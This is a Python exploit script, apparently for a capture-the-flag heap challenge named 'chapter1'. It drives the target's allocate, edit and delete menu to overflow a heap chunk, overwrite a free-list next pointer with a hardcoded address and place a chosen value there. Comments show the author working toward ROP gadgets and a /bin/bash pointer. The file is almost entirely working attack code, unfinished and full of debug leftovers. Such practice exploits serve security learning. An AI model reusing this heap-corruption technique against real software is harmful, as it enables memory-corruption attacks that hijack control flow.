exploiter.py

#!/usr/bin/python

import struct
import subprocess as subp
import time
import sys
class exploiter():

	def __init__(self):
		self.target_file = ''
		self.pid = None
		self.stdio_file = 'tmpout'
		self.output_delimiter = []
		self.delimit_reached = False		
		self.input_log = []
		self.process_output = ''
		self.read_buffer = 1
		self.payloads = []
		self.end = False
		self.output_prompts = []

	def set_stdio_file(self, stdiofile):
		self.stdio_file = stdiofile 

	def start_target(self, target_file=None):
		if target_file:
			self.target_file = target_file

		elif not target_file and not self.target_file:
			print "Need to specify a target file first."
			return

		self.process_stdout = open(self.stdio_file, 'wb')
		self.process_stdin 	= open(self.stdio_file , 'rb')
		self.process        = subp.Popen(self.target_file, 
										stdin=subp.PIPE, 
										stdout=self.process_stdout, 
										stderr=self.process_stdout)

		self.set_status('[*] Started {}'.format(self.target_file))

	def end_target(self):
		self.process_stdout.flush()	
		self.process_stdout.close()
		self.process_stdin.flush()			
		self.process_stdin.close()
		self.process.kill()
		self.set_status('[+] Closed stdio channel.')

	def set_status(self,msg):
		self.status = msg

	def read_process(self):
		return self.process_stdin.read(self.read_buffer)

	def get_input(self):
		self.delimit_reached = False
		self.process_stdout.flush()
		user_input = str(raw_input('\n>>'))

		if user_input == 'quit':
			self.end = True

		
		if user_input.split(' ')[0] == 'payload':	
			payload_select = user_input.split(' ')
			index = int(payload_select[1]) - 1
			user_input = self.payloads[index]
			self.set_status('[*] Sending payload with size {}'.format(len(user_input)))

		self.input_log.append(user_input)
		self.send_input(user_input)

	def send_input(self, user_input):
		self.process.stdin.flush()
		self.process.stdin.write("{}".format(user_input))
		time.sleep(.1)

	def write_output(self):
		time.sleep(.1)
		self.get_output()
		print (self.process_output).strip()
		self.process_stdin.flush()
		self.process_stdout.flush()		
		self.process_output = ''

	def get_output(self):
		while not self.delimit_reached:	
			delimit_check = [i for i in self.output_delimiter if i in self.process_output]
			prompt_check  = [i for i in self.output_prompts if i in self.process_output]
			#delimit_check = any([(i in self.process_output) for i in self.output_delimiter])
			#prompt_check = any([(i in self.process_output) for i in self.output_prompts])
			
			#delimit lets us know if expected output to stdout was found. take no action
			if delimit_check:				
				sys.stdout.write("[+] Recieved response '{}'\n".format(delimit_check[0]))
				self.process_output = ''
			#if a prompt is matched, break. prevents read-blocking so we don't have to multi-thread
			if prompt_check:	
				self.delimit_reached = True
				sys.stdout.write("[+] Prompt reached\n")												
				break

			#read one byte at a time so we don't get read-blocked
			self.process_output += self.read_process()

		self.process_stdin.flush()
		self.process_stdout.flush()
		self.delimit_reached = False

	def interact(self):
		while not self.end:
			self.write_output()
			self.get_input()
			print self.input_log
			time.sleep(.5)
	
# 
output_delimiter = ['Success!', 'Invalid choice!','Done!' ]
output_prompts = ['Size:', 'Data:', 'Index:', '>>']

def long_packit(addr_str):
	if type(addr_str) != int:
		if addr_str[1] == "x":
			addr_str = addr_str[2:]
			addr_str = int(addr_str, 16)
		else:
			addr_str = int(addr_str, 16)
	print str(addr_str)
	retval = struct.pack('<l', addr_str)
	return retval

def quad_packit(addr_str):
	if type(addr_str) != int:
		if addr_str[1] == "x":
			addr_str = addr_str[2:]
			addr_str = int(addr_str, 16)
		else:
			addr_str = int(addr_str, 16)
	print str(addr_str)
	retval = struct.pack('<q', addr_str)
	return retval

def menu_allocate(expObject, data, size=0):
	allocate_opt = "1"
	sys.stdout.write( "[*] Allocating menu object...\n")
	expObject.send_input("{}".format(allocate_opt))
	expObject.write_output()

	if not size:
		size = str(len(data))
	else:
		size = str(size)			
	expObject.send_input("{}".format(size))		
	expObject.write_output()	
	expObject.send_input("{}".format(data))		
	expObject.write_output()		
	sys.stdout.write( "[+] Allocated object with size of {}\n".format(size))

	return

def menu_edit(expObject, index, data):
	edit_opt = "2"
	index = str(index)
	sys.stdout.write("[*] Editing menu element {}...\n".format(edit_opt))
	expObject.send_input("{}".format(edit_opt))
	expObject.write_output()
	sys.stdout.write("[+] Selected index {}...\n".format(index))	
	expObject.send_input("{}".format(index))		
	expObject.write_output()
	expObject.send_input("{}".format(data))		
	expObject.write_output()
	sys.stdout.write("[+] Edited menu element with size of {}\n".format(str(len(data))))

	return

def menu_delete(expObject, index):
	delete_opt = "3"
	index = str(index)
	sys.stdout.write("[*] Deleting menu element {}...\n".format(index))
	expObject.send_input("{}\n".format(delete_opt))
	expObject.write_output()
	expObject.send_input("{}\n".format(index))		
	expObject.write_output()
	sys.stdout.write("[+] Deleted index {}...\n".format(index))		
	return

def menu_exit(expObject):
	delete_opt = "4"

	sys.stdout.write("[*] Calling exit...\n")
	expObject.send_input("{}\n".format(delete_opt))	
	return

#payloads = [payload1,payload2]
exp = exploiter()
exp.target_file = "./chapter1"
exp.output_delimiter = output_delimiter
exp.output_prompts = output_prompts
#exp.payloads = payloads 
allocate_sequence1 =  { 'allocate' : 1, 'size' : 40, 'Data' : ("A" * 39)}
allocate_sequence2 =  { 'allocate' : 1, 'size' : 24, 'Data' : ("A" * 23)}
# allocate_sequence3 = allocate_sequence2 
# allocate_sequence4 = allocate_sequence2 
# edit_sequence1 = { edit = 2; index = 0; Data = ("A" * 41) }
# delete_sequence1 = {delete = 3; index = 3}
# delete_sequence2 = {delete = 3; index = 2}
# delete_sequence3 = {delete = 3; index = 1}
# allocate_sequence5 = { allocate = 1; size = 56; Data = ("A" * 31)}
# edit_sequence3 = { edit = 2; index = 1; Data = ("A" * 31) + ptr_overwrite }
# edit_sequence4 = { edit = 2; index = 0; Data = ("!" * 41) }
# delete_sequence4 = { delete = 3; index = 1}
# allocate_sequence6 = { allocate = 1; size = 24; data = ("A" * 23 ) }
# edit_sequence5 = { edit = 2; index = 1; Data = ("!" * 25) + ("\x00" * 7) + ptr_overwrite_content}
# allocate_sequence7 = { allocate = 1; size = 24; data = ("A" * 23 ) }
# allocate_sequence8 = { allocate = 1; size = 24; data = address_overwrite }


#print 'Set output delimiters: {}'.format(str(output_delimiter))
print 'Target file {}'.format(exp.target_file)
exp.start_target()
print exp.status
print 'Started target file {}'.format(exp.target_file)
print 'Reading process output...'
exp.write_output()
menu_allocate(exp,("A" * 40))
menu_allocate(exp,("A" * 24))
menu_allocate(exp,("A" * 24))
menu_allocate(exp,("A" * 24))
menu_edit(exp,0,("A" * 41))
menu_delete(exp, 3)
menu_delete(exp, 2)
menu_delete(exp, 1) 
menu_allocate(exp,("A" * 32), 56)
#a = raw_input('doshit')
#overwrite next free pointer
ptr_overwrite_addr = long_packit(0x00602068)
overwrite_data = ("A" * 32) + ptr_overwrite_addr
#a = raw_input('OverWriting Next PTR')
menu_edit(exp, 1, overwrite_data)
#a = raw_input('OverWrote Next PTR')
menu_edit(exp, 0, ("!" * 41))
#a = raw_input('doshit')
menu_delete(exp, 1) 
#a = raw_input('doshit')

menu_allocate(exp,("!" * 24))
#a = raw_input('doshit')

#overwrite contents located in ptr_overwrite_addr
zdata = ("!" * 25) + ("\x00" * 7)
menu_edit(exp, 1, zdata)
#a = raw_input('overwriting next ptr')

menu_allocate(exp,("A" * 24))
dataz = long_packit(0x00400706) #<---set bp here. need to find rop gadgetss
#print list(dataz)

#a = raw_input(str(len(dataz)))

menu_allocate(exp,dataz,24)
a = raw_input('doshit')
# data = quad_packit(0x00602060)
# menu_allocate(exp,data, 24)
# menu_delete(exp, 3) 
menu_exit(exp)
#exp.interact()
#stack token?
#a = raw_input('doshit')
time.sleep(800)
exp.end_target()



#0x00602008 ----> ptr to unk --> 0x7f0a973a0190 --> sub 0x60 ptr to bin/bash on stack 0x00007fff9c250dc8



# while 1:  #
# 	msg = ''

# 	while 1: 
# 		getchar = r.read(1)
# 		#Input was taken successfully
# 		if 'Success!' in msg[-10:]:
# 			print msg
# 			w.flush()
# 			break
# 		if 'Invalid choice!' in msg[-10:]:
# 			print msg
# 			w.flush()
# 			break

# 		#We're at the main menu prompt
# 		if '>>' in msg[-10:]:
# 			w.flush()
# 			a =str(raw_input('{}'.format(msg)))
# 			if first:
# 				print "Allocating First....."
# 				p.stdin.write("{}\n".format(_allocate))
# 				print "Allocated"
# 			if second:
# 				print "Allocating Second..."
# 				p.stdin.write("{}\n".format(_allocate))
# 				print "Allocated"
# 			else:
# 				p.stdin.write(a+"\n")

# 			break

# 			time.sleep(.5)  

# 		elif 'Size:' in msg:
# 			w.flush()
# 			b = str(raw_input('{}'.format(msg)))
# 			if first:			
# 				print "Sending payload size...".format(payload_size)
# 				p.stdin.write(payload_size + "\n")
# 				print "Sent payload size of {}".format(payload_size)
# 			else:
# 				p.stdin.write(b+"\n")
# 			break

# 		elif 'Data:' in msg:
# 			w.flush()
# 			c = raw_input('{}'.format(msg))
# 			if first:	
# 				print "Sending Payload..."
# 				p.stdin.write(first_payload + "\n")
# 				first = False
# 			else:
# 				p.stdin.write(c+"\n")				

# 			break

# 		elif 'Index:' in msg:
# 			w.flush()
# 			a = str(raw_input('{}'.format(msg)))
# 			p.stdin.write(a)
# 			break

# 		else:
# 			msg += getchar			

# 	time.sleep(.5)